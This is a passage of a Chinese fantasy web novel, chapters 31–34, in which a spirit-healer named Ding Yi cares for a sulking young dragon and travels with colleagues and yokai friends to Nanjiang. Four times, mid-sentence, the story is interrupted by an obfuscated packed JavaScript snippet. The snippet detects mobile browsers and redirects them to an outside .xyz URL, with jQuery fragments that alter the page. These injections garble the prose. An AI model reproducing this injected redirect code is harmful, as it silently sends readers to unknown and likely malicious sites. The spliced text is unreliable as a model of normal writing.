停顿了一下,杨光河笑笑:“这都不知几个世纪前的老黄历了,你们年轻人肯定不感兴趣。如今这大半个龙王庙,都被淹在了海底下,现在这回龙庙,是‘有庙无址’,龙王爷啊,怕是再也不会回来了。” 终于把故事说完,杨光河下意识摸了摸肚子。 这哐哐一阵说,居然把他自己给说饿了。 杨光河从兜里摸出两个巧克力派,递给龙一个。 “你看过那个电视剧吗?里面说过,看海的时候吃巧克力派,是最好吃的。” 龙学着他的样子,拆开塑料包装。 巧克力派的口感有点像蛋糕,只是更干一点。 龙只尝了一口,就把没吃完的巧克力派放回了冲锋衣的兜里。 他站起身,往海的方向走了几步, 杨光河嘴里塞着食 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15681507|170400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物,看见龙动作,囫囵不清地喊:“小朋友,这龙王庙的出口在后面,你别往海那边走,小心掉海里危险——喂!!” 他一个猛子站起来,两步跨到庙台的边缘,低头看着翻滚的海水,目瞪口呆。 头灯的光在礁石滩上来回扫射,除了汹涌的海水,没有看到半个人影。 “那小朋友,人呢?真跳海了?”杨光河低头看看海,又抬头仰望阴沉落雨的天空,“总不可能,是上天了吧?” 丁依走进酒店大门时,气得像被吹胀的河豚。 首次录像顺利结束她本来挺高兴,没想到还能有幺蛾子给自己添堵。 先是送走叶瑾瑜和梁凡时,叶瑾瑜得知丁依要无缝衔接去南江市出差,便问丁依,要不要把龙直接给她。 丁依才想起,龙被她安置在酒店房间了! 她看了看叶瑾瑜的火车票时间,还好,如果自己赶回酒店,带上龙送去火车站,应该也来得及。她和叶瑾瑜说好,便兵分两头行动。 结果,她人还没出录影棚,就被张铭截胡,非要让她和其他小组成员一起团建聚餐。 无论她怎么拒绝,张铭笑眯眯地就是不松口,非说她昨天落了水,要一起给她压惊。 被逼无奈,丁依只好和叶瑾瑜她们说了声——把龙送走的计划,又要暂时延后了。 团建聚餐上,居然还不消停。 得知她和老杨搞定了魏家隆,甚至要去魏家隆老家拍摄,张铭上来就是一句: “那正好,你顺便把陈妮一起带去,给你帮忙打下手。” 哈?丁依瞠目结舌。 领导,你要不听听你在说些什么。 “我是去帮你的呀,不然你一个人,带着两个不懂事的供应商,怎么搞得定这么复杂的拍摄。”陈妮一副跟丁依亲亲热热的样子。 听陈妮这陌生的腔调,丁依的寒毛都竖起来了。 “当初不是你说,这个纪录片只是个‘小拍摄’,让我大事小事要分得清?”丁依也忍不住夹枪带棒,“既然是‘小事’,就不劳您大驾了吧?” 听她这么说,陈妮脸上挂不住了,又开始摆脸色。 张铭清了清喉咙:“让陈妮陪你去,还有个考虑——后面那个喜剧节目的新项目要开始筹备了,需要一个人跟一跟,我觉得你做事仔细,去跟这个新项目最合适——” 他看了眼丁依的表情,继续道:“——新项目一点不麻烦,不过这样的话,你现在手上的活就得分出来点,不然加上新项目,你肯定忙不过来。”他笑笑,“所以这个纪录片,我就打算让陈妮跟过去熟悉一下,后面她接手代替你,更方便一点。” 这个张铭,居然还准备给自己加活?! 而且带上陈妮,别说让她帮自己,自己多伺候一个她还差不多。 “哐”地一声,丁依把筷子撂桌上。 听到这声响,张铭停了一瞬,然后像没事人一样又开口道:“不过我突然想起,陈妮后面两天有点事,还是换成小赵陪你去吧。新项目的事,就换成陈妮来负责好了,这个后面才启动,和陈妮你手上的活不冲突。。” 听到活被推给陈妮,丁依面色稍霁,而且小赵踏实肯干,带上她,多少还能帮上点忙。 见陈妮面有不满,似乎想说点什么,丁依站起身来,直接阻截了她的话。 “那行,就按领导说的办。我吃得差不多了,这两天有点累,先回酒店了。” 回酒店这一路,丁依越复盘越后悔。早知道要撂筷子,不如早点撂,还能赶得及把那条龙送到火车站。 站在房门前,掏出房卡正要开门时,丁依的眉头突然僵住。 31. 第 31 章 这门里,怎么一丝龙的气息也无? 丁依警觉起来。 她先掐指开了灵识,确认毫无灵力波动。 接着以掌虚抚房门,灵符也一切正常。 理论上,不会有妖怪或邪祟入侵。 但万一呢? 丁依不动声色,左手掐指,右手迅速推开门,光速扫了一圈像被入室抢劫过的房间后,她顿住,目光锁定了窗的方向。 “我说——” 话要出口,丁依顿了顿,把话咽了下去。 那条龙,此刻正蹲在破碎的窗框上,整条龙缩成一团,像落过水的小狗。飘逸的鬃毛此刻湿透了,潦草地贴着它的脸和脖子,全身的鳞片都在淌着水,水顺着窗框滴到地毯上,形成一个小水洼。 一双蓝眼睛倒是一如既往的清澈,如果不是看到龙耳正紧紧压在脑后,丁依可能真的会以为是自己误会了它。 她又检视了一遍房内的灵力场。 和门外的检查结果刚刚一样——没有波动,没有异常,基本排除外部嫌犯。 踩过地毯上破碎的灯罩,丁依走到床边,拎起被子查看上面的黑爪印。 爪印层叠凌乱,但可以看出五趾分明的轮廓,以及前端钩状的爪痕。 证据确凿,唯一的犯罪嫌疑龙有些忐忑。 丁依查看床上的爪痕时,它也跟着收拢龙爪,好像它的爪子突然痒了似的。 然而,丁依没指责它,甚至没看它。 她只是揉了揉额角,轻叹一口气,然后沉默地掐指捏诀,开始一件一件、按序逐步地,恢复和清理房间内的破坏痕迹。 老实说,丁依的“修复工作”进度挺快,但在龙的眼中,却有些漫长。 龙看着丁依反复拿起端详台灯、烟灰缸、皮质便签本和镀金装饰摆件,查看上面有没有被忽略的裂痕。对丁依而言,这些酒店里常见的摆放物,此刻比蹲在窗框上的龙更值得关注。 不知道多久,丁依终于来到了窗框前。 龙的视线比她高出很多。 她抬头看向龙。与龙对视了一秒,抬起了手。 龙下意识地压低身子,侧过头把自己的后颈露给她,挂在墙外的龙尾巴尖轻轻地摇了摇。 然而丁依伸手,只是想检查窗框。 在丁依检查窗框的时候,龙有些局促,爪子下意识动了动,让一颗原本就有些松脱的螺丝钉崩了开来。 丁依皱了皱眉,看向龙的爪子。 “你——” 没等丁依说完,龙就自己从窗框上跃了下来。它这一跃特别轻,像猫一样,落地几乎没有声音。 落地后,龙没有走开,蹲在一旁紧紧挨着丁依。 丁依转过身看了龙几眼,又抬起了手。在龙的注视下,她掐指捏诀,烘干了龙的鬃毛,和全身的鳞片。 刚刚还湿漉漉的鬃毛,此刻又蓬松飘扬了起来。 龙忍住了甩一甩毛的冲动。身上的水被烘干了,它的眼睛却湿漉漉地看着丁依。 丁依用目光检查了一下龙的状态,确认它全身都干了,她继续烘干自己身上被弄湿的衣服,以及被龙刚刚蹲在窗边弄湿的地毯。 做完这一切,她的注意力回到支离破碎的窗框和限位器上。 窗框有点难修,丁依放出了白光小狗。 白光小狗化成数缕白光,穿梭在窗框内外,忙碌地进行修理工作。 丁依则倾身朝窗外探去,看着下面发了好一会儿的呆。 “汪!” 听到叫声,丁依才把上半身收回来。 白光小狗已经修理好了窗户,小小一只蹲在窗框上,冲丁依直摇尾巴。 丁依测试了新修好的窗户,开关非常丝滑。 她给窗户新贴了几个符咒,然后向白光小狗伸手,揉了揉它的后颈:“做得好。” 白光小狗眯着眼睛,享受地微仰起脖子,又摇了摇尾巴。 龙已经退到了离丁依远一点的角落。台灯光射在它身上,在地毯上留下静止的影子。 把白光小狗收回身体,丁依洗澡刷牙,然后开始收拾行李。 直到丁依封好行李箱,准备上床睡觉时,龙才慢慢靠近她。 “这是什么?” 看着龙嘴上叼着的东西,丁依问。 这是今晚她对龙说的第一句完整的话。 龙没有其它动作,只是努力把头往前凑,想把东西塞进丁依的手里。 丁依摊开手,让龙把东西放在掌心。 一个袋子撕开了的……巧克力派? 她掀开袋口,看到里面的巧克力派被咬过一口。 看形状,是人的嘴咬的。 “还被谁吃过了?” 丁依自己没有带巧克力派,这应该是别人的。 前几天工作时,这条龙基本是半放养状态,也许是那段时间,它从哪个不幸的路人那里“偷”走了这袋巧克力派。 许多动物都有这样的习惯,这是它们狩猎、玩耍和探索世界的本能,妖怪也不意外。把这袋巧克力派拿给她,应该是龙想和自己互动。 “谢谢。”丁依对龙道。她的语气温和,但还是没有伸手揉它。 如果是之前,这种时候,龙会直接用头拱丁依的手。但不知道为什么,它今天有点胆怯。 一部分的原因,是它知道自己闯了祸,给丁依带来了麻烦。 巧克力派被丁依放在了桌子上。 她钻进被子里,躺下,关上床头灯。 龙没有像前两天那样非要上床,安静地在角落一脚蜷缩起来,丁依也没有注意。 她睁着眼看着漆黑的天花板,正在自我反思。 刚刚开门时,她第一反应是想发火。 刚跟领导同事吵架,回房间又看到一室狼藉,她的心情很差。 但话要出口,她又吞进了肚子——无论她的工作怎么不顺,不该把脾气撒到这条无辜的小龙身上。 而且,她还有点后怕。 修窗户时,她试着从窗口往下看。没了限位器的阻隔,仿佛只要有人背后一推,就能掉下去似的。这个高度,如果龙掉下去,估计会摔成一块小龙饼。 她提醒自己,以后再收到好动的小妖怪,千万记得往窗户上也贴几张界守符和安宅符。 今晚,自己差点就要把这条龙送走。即使要等从南江市回来,也不过再晚个两三天。 丁依真切地意识到,快到了自己和这条龙说再见的时候。 对于她来说,每次治好妖怪再送走的过程,有点像完成一个工作项目。 在工作中,每次项目即将结束时,哪怕开端和过程有多少不顺,她也想好好收尾,不然就好像整个项目白做了一下。 对妖怪们和这条龙,她也有这样的心态。 这晚,丁依思虑过重,梦也不太平静。 这直接导致第二天一早,她差点睡过头。 看着丁依匆忙地洗漱穿衣,龙自觉地缩小身体,提前钻进她的帆布 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15693969|170400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 包里,只伸出一个头在外面,蓝眼睛咕噜噜地转来转去,观察丁依的动静。 一切就绪,丁依背上包,推起行李箱。 看了眼桌子,她随手把零散摊着的垃圾,和那个巧克力派,一起丢到了垃圾桶里。 咬过一口的巧克力派从袋子里掉出来,孤零零地躺在垃圾桶里。 龙安静地看着垃圾桶,不知道在想些什么。 丁依和老杨、小虞一起去前台退房,然后打车前往火车站。 在火车站,三人和住在另一个酒店的实习生小赵汇合。 小赵的全名叫赵叮当,是一个超级E人。 昨晚,她作为实习生被留在录像现场收尾,所以没能参加聚餐,就在上司和前辈的决定下被派去临时出差。 通知赵叮当,得知她要熬到大半夜才能收工时,丁依特别愧疚,觉得自己不该拖她下水。可被问及“要不算了”时,赵叮当却立刻回复「不用!」「我可以!」,甚至直接拍了一段自己在录像现场干活的视频,证明自己活力满满。 此刻,她的眼下还带着熬夜过后的疲惫,眼里却有兴奋的光芒,仿佛这不是一次临时加塞的出差,而是一场她期待已久的旅行。 丁依挺羡慕赵叮当的性格。 她在实习的时候,是同批实习生里最内耗、最轴、最爱抱怨的那个。即使工作了好几年,还是会不时再犯。 脾气这么差,还能最终从实习生转正,靠得全是她的吃苦肯干。 不像同批的陈妮,不影响自己利益时,就甜丝丝地哄着领导老板们说话。情绪价值拉满,划水的时候领导就也睁一只眼闭一只眼。 现在想想,丁依要吃亏得多,事情都做了,却没得全部的好。但没办法,三岁看老,这茅坑石头一样臭的个性,实在难改。 不用丁依多作介绍,赵叮当已经和老杨打成了一片。 “我收藏了好多篇南江市美食攻略了,到时候一起啊!” “好好好!一起!”老杨积极响应,“我旅游也是,美食第一,景点第二。” 显然,两人都把这次出差的主要任务抛到了脑后。 上了火车。 丁依的位置靠窗,她把头靠着玻璃。快睡着时,被旁边的小虞拍醒。 “你的龙跑出去了,要紧吗?” 丁依睡眼惺忪地摸了摸包,果然又空了。 “不要紧,它经常出去,让它自己玩吧。” 小虞点点头,不再说话,也闭眼开始补觉。 丁依昏昏欲睡时,又被谁拍了拍。 她以为又有人找她,没有睁眼,想装睡蒙混过去。 结果,一个湿润微凉的触感抵上她的眼皮。 唰地一下,她睁开眼坐直身子,眉骨狠狠撞上了龙的鼻子。 “喂!!!你干——你干嘛?” 前排的乘客转头,诧异地看了眼正在对空气发火的丁依,她赶紧压低了声音。 龙忍住鼻子的痛,低头衔起刚刚从它嘴里掉落的东西。 一整盒的巧克力派。 丁依没反应过来。 怎么又是巧克力派。 莫非是它想吃? 不对,它哪儿弄来的巧克力派。 “刚刚火车乘务员推餐车经过,它从你包里跑出去偷的。” 人鱼不知什么时候醒了,轻描淡写地插话。 哈????! 人鱼耸耸肩:“我提醒了,是你说不要紧,让它自己玩的。” 32. 第 32 章 龙的鼻子在丁依手里一拱一拱,还在试图把巧克力派塞给她。 看到巧克力派盒子被龙咬得变形,丁依的脸更黑了。 这时,龙湿润的鼻头动了动。它从丁依的手心退出来,伸到丁依的衣领间嗅闻。又抬头盯着丁依的脸,拿脑袋轻轻蹭她的肩膀,喉咙里发出低沉的呼噜声。 丁依没动。 蹭了两下,龙又想舔丁依的手。 这次,丁依没让它碰到自己。 她按住龙头,黑着脸夺走了巧克力派盒子,把龙推到了人鱼身上。 她压低声音对人鱼道:“我去餐车补付一下钱,你帮我看着它。” “哦,好。”人鱼答应下来。缩小的龙蹲在他腿上,像一只小玩具。 如此,丁依便从座位里挤出来,她擦身穿过人鱼时,人鱼下意识吸了吸鼻子。 等她走后,人鱼又嗅了下龙。 “怎么,你也在闹情绪?” 丁依往餐车的方向走,沿途遇到好几个孩子。有的撕心裂肺地吵闹大哭,有的在车厢里奔跑大叫,周围的乘客面露隐忍,他们父母疲惫的道歉声淹没在了一片嘈杂里。幼崽阶段,孩子的大脑前额叶尚未发育完全,这让他们像没来得及校准的机器,容易爆冲失控。 丁依清楚地知道,龙不是坏孩子,甚至比很多人类强很多。 但这并不代表,它不会给自己惹麻烦。 这个问题暂时无解,她只能时刻提醒自己——不要钻牛角尖。 丁依回到座位时,老杨和赵叮当刚吃完火车上买的盒饭。 赵叮当正拿着手机,似乎在给老杨看什么。 丁依扫了一眼,发现是一条社会新闻,标题是《离奇!回龙湾古庙水域发生神秘事件蓝发少年落水后消失专业打捞队苦寻10小时无果》。 她心里一动,心想回龙湾这个地方真是中了邪,怎么一天到晚有人落水。 不过她转念又想——叶瑾瑜梁凡刚走,小蚌精也被黄龙召了回去,这么短时间不至于再有妖怪闹事。海边的落水事件本就寻常,应该是自己多心了。 丁依把巧克力派分给众人。 赵叮当举起手欢呼:“正好想吃甜品!” 老杨也欣然接受。 她又递给人鱼,对方摆摆手拒绝:“我不吃,你把这条小祖宗抱回去就行。” 丁依伸手,想要从人鱼那儿接过龙。 结果龙别过头,躲开她的手,使劲往人鱼的怀里钻。 嗯? “它这是不高兴了?” 人鱼乐了。 “你才发现啊?”他嗅嗅丁依身上的味道:“你倒是想得开。” 丁依也乐了——乐得清闲的“乐”。 “行吧,既然这样,干脆你来帮我照顾它吧,顺便教教它,偷东西是不对的。告诉它——小时候就算了,等它再大点要是还偷东西,可是要被捉妖师抓起来的。”丁依恐吓道。 人鱼挑挑眉:“小时候?你这条龙多大了?” “肯定不大,大的话能这么不懂事吗?”丁依随口道。 听到她的话,龙猛地一甩尾,喉咙里滚出低沉的咕噜声。 人鱼则表情微妙,低头又闻了闻龙身上的味道。 丁依还欲再说,瞥到前排乘客打探的目光,收住了嘴。 就这样一路无话。 直到火车即将到站,龙还是不肯从人鱼身上下来,丁依只好让人鱼继续带着龙。 尽管如此,以防万一,她还是给龙身上拍了两道锁灵符。 符咒上身的瞬间,龙瞳孔一缩,下意识对丁依龇了牙。 龇完了牙,丁依没什么反应,龙倒像被自己的反应吓了一跳。就这么呆呆愣愣地,被人鱼塞进了他的摄影器材包。。 一下火车,赵叮当身上的雀跃劲挡也挡不住。要不是推着箱子,她的人简直要蹦起来。 她本以为这次来南江,再怎么着,还是得住公司标准的商务酒店。没想到丁依有朋友在这开民宿,直接大手一挥,给四个人安排上了一人一间江景房。 这可太有牌面了,直接把她对这次南江之旅的期待值,拉到了天花板! 出口处密密麻麻站满了来接站的人,丁依虚虚掐指,在视野里看到了那一团蓝色虚影。 她冲那团虚影摇摇手——是一头银灰色的年轻男人。尽管在室内,他也戴着墨镜,和他宽松的亚麻衬衫和裤子十分不搭。 “戌铃!” 听到丁依的叫声,戌铃微微一笑,还没开口,他身后扑出了另一个热情的身影。 一个浅栗色头发的年轻男孩,边跳边摆动双手,头发随着动作一颠一颠,兴奋地对丁依大叫:“姐姐姐姐姐姐!我在这里!” 看着这男孩的动作,赵叮当毫不怀疑,如果他有尾巴,现在已经在狂摇不止了。 听到丁依笑着对那男孩道:“哟,旺旺,你也来了啊。” 她心想:好家伙,连名字都很像狗。 成功接到四人,戌铃表现还比较正常,旺旺就有点兴奋过度了。 他绕着四人一直转,还不停地吸鼻子。绕到小虞身边时,他甚至还想低下身子闻小虞的摄像器材包,被丁依一把拎住衣领,拖了出来。 小虞伸手把什么东西往包里塞了塞,然后拉上了包的拉链。 戌铃和旺旺开了一辆GL8来接他们。 上车时,眼看戌铃就要往驾驶座那边走,被丁依一把拖住,塞进了副驾。 “让旺旺开吧。”她意有所指。 “也是。”戌铃明白过来,笑着叹了口气。 等车开上路,丁依就明白过来,戌铃为什么不想让旺旺开车了。 后视镜里,旺旺的鼻子不停抽动,一路嗅闻个不停。更可怕的是,但凡路边闪过移动物体——对面的车辆、飞鸟、甚至飘过塑料袋——旺旺就会条件反射地转向那个方向,张嘴咬空气。 既然旺旺的“车技”如此,这一路几乎都是戌铃施法控着车辆“行驶”。 万幸,老杨和赵叮当一直专注于窗外的风景,没有察觉旺旺的车开得有什么问题。 南江市刚下了一周的暴雨,今天刚刚放晴。 虽然没落雨,但天空还很阴。铅灰色的云层沉沉地压在城市上空,好像随时都能拧出雨来,空气中也弥漫着潮湿的气味。 从火车站出来的这一路,道路一侧都是连绵不绝的水景。 赵叮当指着窗外的水景问:“路边这个,就是南江?” 回答她的是老杨:“这是北湖,不是江。” 见这水面平静,即使是阴天,也能看出水质清冽,岸边不时能看到含苞的莲花和连绵荷叶,确实似湖不似江,赵叮当便懵懂点头。 没过多久,路边的水景不见了,车开上了一座车道宽阔、十分气派的斜拉索大桥, 桥下,水流奔涌向前,像一条暴躁的水龙。土黄色的湍流裹挟着泥沙,和枯枝败叶一起顺流而下。 赵叮当又问:“桥下这条,总归是南江了吧?” 这次回答她的还是老杨:“对,没错。” 车开过大桥,又是好长一段隧道。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15709098|170400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 出了隧道,车继续行驶着,视野里的景色逐渐荒凉起来,人迹少了很多,道路也有些坑坑洼洼,后面四人都抓紧了窗边的扶手。 人鱼的器材包原本放在他脚下,颠簸起来后,好几次撞到了前排座椅。 丁依拎起器材包抱在自己怀里,老杨见她姿势别扭,便告诉她摄影器材包有有阻隔层,这个程度的磕碰不要紧。听了他说的,丁依还是没放下器材包,只是笑笑:“没事,小心点总归没错”。 终于,路不颠了,因为路没了—— 挤出几个小巷子后,这辆车开上了一条没修缮过的狭窄土道。 土道只堪堪够一辆车行走,两边则是一大片澄澈的水面。 水面如同镜子,无边无际地倒映着天际。从水面中探出的树冠像一座座绿色的孤岛,成群的水鸟栖息而上。 车宛如一叶扁舟,在这水面上漂行。 赵叮当和老杨被景色震撼,纷纷拿手机拍视频。 拍了一会儿,赵叮当才想起来问:“现在这片水,算是南江,还是北湖啊?” 这次老杨也不知道了。众人一起看向前排的戌铃和旺旺。 “这水,不是南江,也不是北湖。” 回答她的是戌铃。 “那这水是?” “这是洪水。”戌铃道。 众人: ??? !!! 戌铃笑着继续道:“还好今天没下雨,洪水退了点,不然这条土路就走不了了。我们的车牌今天限号,要是不能走这条路,还得绕好大一圈。” 老杨和赵叮当都张大了嘴。 竟然是洪水! 难怪只有中间这么窄一条路,原来两边全是被淹的陆地!! 好半天,赵叮当咽了口唾沫,开口问:“那这洪水……怎么这么平静?” 确实,这两旁的水面平静得反常,没有一丝波澜,简直像一面大镜子。 “因为雨停了,洪水已经进入退水期”。戌铃解释。 听到耳边叽叽喳喳的鸟鸣声,他又补充了句:“退水后留下的湿地,是许多珍稀鸟类的栖息地,你们如果有人喜欢观鸟,我可以带你们再过来玩。” “不用了不用了!”赵叮当和老杨连连摆手。 都说洪水猛兽,即使此刻的水面看起来如此平静,但对洪水的恐惧已经植入了人的基因,他们实在不想再来。 那两个凡人也就算了,看到人鱼也一副不喜的样子,丁依感到有点奇怪。 她压低声音凑到人鱼的耳边,问:“怎么了,你可是鱼,也这么怕水?” 人鱼皱眉看她,一副嫌弃她少见多怪的样子:“你有没有常识?这是淡水,我可是海鱼!” 嗯……行吧。 终于离开了“洪水”,后座的两人一妖明显松了口气。 之后的路都正常,车重新开回了闹市,最后在一座青瓦白墙、檐角飞翘、颇有古韵的三层小楼前停下。 看着木质门匾上“枕水居”三个大字,老杨和赵叮当赞叹不已。 那边,被安全带绑了一路的旺旺,终于下了车,忍不住开始绕圈疯跑。 见到丁依,他喊着“姐姐姐姐姐姐”就跑过来。 为了安抚,丁依伸手揉了揉旺旺的头。 结果旺旺更加兴奋,用头拼命蹭丁依的手,身子往丁依身前冲。 看出不对来,丁依想捂住旺旺的嘴,已经来不及了。 “汪!” 石破天惊的一声狗叫,引得老杨和赵叮当转过头来。 33. 第 33 章 听到那声“狗叫”,赵叮当愣了一下。 她四下扫了一下,视线锁定旺旺,一步一步逼近过来。 丁依本来还没把旺旺那声叫当回事,见到赵叮当这样,不知觉紧张起来。 刚想随便找理由扯开话题,却听到赵叮当开口问: “旺旺,你之前是不是……在吴中市的一家‘小狗咖啡馆’打过工?” 时隔多日,旺旺没认出赵叮当,也没闻出赵叮当的味道。 但出于狗喜爱人的天性,他高兴地回答了她一声: “汪!!” 入住民宿后,众人各自回房间休息。 老杨和赵叮当的房间在一楼,丁依和人鱼的房间在二楼。 刚上楼梯,龙就自己咬开拉链,从器材包里翻出来,爬上了丁依的肩头。 丁依原本就想把龙接回自己身边,见它主动回来,她也乐见其成。 只是进了房门,丁依才发现,这条龙居然还在闹别扭。 刚打开房门,龙就先一步从她肩上跃下。 落地瞬间,龙的身形舒展变大,骤然展开的龙身顶到墙壁,尾尖不小心扫落了一个陶瓷摆件,摆件掉落在地,咔嚓碎成几块。 听到破碎声,龙的脊背明显一僵。 要在之前,遇到这种情况,龙早就压着耳朵、夹着尾巴、眼巴巴地瞅着丁依认错。 可这次,龙虽然僵了一下,但还是固执地蹲在房间的一角,背对着丁依。 说是一角,也是占了房间的大半空地。民宿房间原本颇为宽阔,蹲上一条龙,又显得局促起来。 龙背对着丁依,却忍不住隔三差五偷瞄她几眼。 丁依先是坐在床上,看着龙的背影,不发一言。 良久,她开口问:“你还在生我的气?” 龙的身子没有动,但耳朵动了动,明显是听见了。 “但我已经没生你的气了,”她轻轻叹道,“这样也不行吗?” 见龙仍是不动,像要和墙角处到地老天荒的样子,丁依放弃,躺下了准备补觉。 她闭着眼,感受到床垫微微下陷。 尽管已经足够小心翼翼,但龙鳞刮擦到床单,还是发出了窸窣的声响 一个湿润冰凉的鼻尖小心翼翼地凑近她的脸颊。 紧接着,有什么东西,带着湿润的触感,和试探的意味,轻轻舔过她的下巴。 丁依张开眼。 龙一时不察,整个龙身像被施了定身咒般僵住,随后慌慌张张地想要后退。 丁依一把扶住龙的头,不让它逃走。 她盯着龙的眼睛,有些意外的发现,这双蓝色的龙瞳里,不再是她熟悉的清澈。这双瞳孔里面翻涌起了令她不安的暗流,就像暴风雨前夕的海面——看似风平浪静,下一秒却可能卷起骇浪。 它的身体笼罩着丁依,起伏的龙身像一座小型山峦,鳞片下的肌肉不自觉地偾张。 丁依不自觉地屏住呼吸。 “我问你——” 和龙对视着,她轻轻地开口。 “——我不让你吃巧克力派,就这么让你生气?” 听到丁依的问题,龙眨了眨眼睛。它有点茫然地看着丁依,眼中的暗流褪去了,露出原本澄澈的蓝。 半响,它的喉咙深处挤出一串气泡般的声音,像是某种叹息。 它低下头,先是闻了闻丁依的脖子,又闻了闻丁依的脸,热热的鼻息喷洒在丁依的皮肤上。 丁依没开灵识,也就没有妖怪的嗅觉,理论上,现在的她闻不出龙的情绪变化。 但她突然就觉得,龙的心情,应该是变好了。 “那我再问你——” 她想趁势追击,再问几个问题,但龙似乎不想再回答了。 它垂下头颅,再次缓慢地舔过丁依的颈侧,带着不容抗拒的力道。周身尖锐的鳞片温顺地闭合起来,不知何时变得滚烫。 刚被龙舔一下,丁依就侧头避开,然后抹了一把它舔过的位置,只摸到一把湿润。 她再次扶住龙的头,奇怪地看着它。 “我没受伤啊,干嘛又舔我?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15709099|170400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 龙的瞳孔中又涌出暗流。 它有些不耐烦地抬起爪子,想压住丁依的手,同时再次低下头—— “嘭”地一声,门被撞开。 旺旺破门而入,冲了进来。 它变回了金毛小狗的原身,尾巴狂摇,一个爆冲上了床,欢乐地踩着丁依的肚子,嘴里werwer地吠叫着: “姐姐姐姐姐姐!” 简单休息后,四人聚在民宿的客厅里,开了个小型会议。 魏家隆明天抵达南江市,老杨还在等他的消息,如果顺利,明天就可以开始纪录片的拍摄。 拍摄脚本老杨已经提前准备好。他从魏家隆那儿听说,魏家隆的爷爷是这里一座龙王庙的守庙人,他便想把魏家隆爷爷的故事,以及南江市的龙王庙,也一起拍进纪录片里,为这档纪录片增加一点非遗元素。 既然下午无事,四人便决定,一起去龙王庙勘一勘景。 不料,向戌铃打听龙王庙地址时,戌铃一句话便问住了他们—— “你们要去哪一座龙王庙?” “怎么?这一个南江市,莫非还有好几座龙王庙?”老杨奇怪道。 “不只有好几座龙王庙,真要算起来,南江市的龙王庙,可能有十好几座还不止,这里可是万水之城。”戌铃笑道。 “不过,如今这年头,还排得上号的龙王庙,就只剩两座了。估计你们要去的,正是它们中的一座。”说话间,戌铃已经用手机发来两个定位,“你们自己看看,究竟是哪一座吧。” 他们对着两个定位 魏家隆迟迟不回消息,他们便决定先去近的那一座。 GPS定位里,这座龙王庙的名字叫作「禹王庙」。不过,这名字后面还有一个括号,里面标着「锁龙潭」。 “这一座庙,有两个名?”老杨琢磨着。 “也正常吧,不同朝代的名字不一样。”赵叮当随口接话。 天空响起惊雷,丁依和人鱼不约而同地抬头—— 看来,一会儿要下暴雨了。 34. 第 34 章 走出民宿,四人站在高高的江堤上等出租车。 人鱼独自站得很远。 一开始,丁依以为这是因为人鱼和赵叮当不熟。 结果她刚往前迈一步,人鱼就像被踩了鱼尾巴似地弹开。 原来他躲的是自己。 丁依难以置信。她压低嗓音问人鱼:“怎么,你也和我闹脾气?” “不是……”人鱼试着松手吸一口气,脸上立刻挂上痛苦面具,“你身上现在臭得——就像发情期的龙在狗窝里打了滚一样!” 丁依闻了闻袖口。 有狗味是真的,发情期的龙的味道,她是一点没闻出来。 “别靠近我!”见她还想过来,人鱼手摇得像钟摆。 “好吧。”丁依本来还想逗逗人鱼,见他确实很抗拒,遗憾地给自己施了一个清洁咒。 她低头,龙正在浅滩的江水里,和狗妖追逐一只矿泉水瓶。 看这条龙为了抢到矿泉水瓶在江水里打滚的样子,丁依很难相信它已经到了发情的年纪。 她问人鱼:“你怎么知道……” “拜托,不要什么都问我!”人鱼脸又红了,这次看起来是被烦的,“我又不是什么妖怪生理学专家。” 丁依不置可否地耸耸肩。 江水里,两只小妖还在玩闹。 龙突然伸出一只前爪,将抢到矿泉水瓶的狗妖按进江水里。龙的身形比狗妖大了许多,有着无可撼动的力量,狗妖扭动了两下未能挣脱,转而四脚朝天地躺进水里,讨好地对龙露出肚皮。 丁依皱眉,上前两步想要阻止。 却看到,龙低下头,鼻尖贴近狗妖柔软的腹部,然后猛地打了个响鼻。 它松开爪子放开了狗,狗赶紧咬着矿泉水瓶逃走。一龙一狗继续追逐打闹,不断溅起水花。 丁依掐着诀的手缓缓松开。 “要我说,如果我是那条龙,我也得闹脾气。”人鱼插嘴。 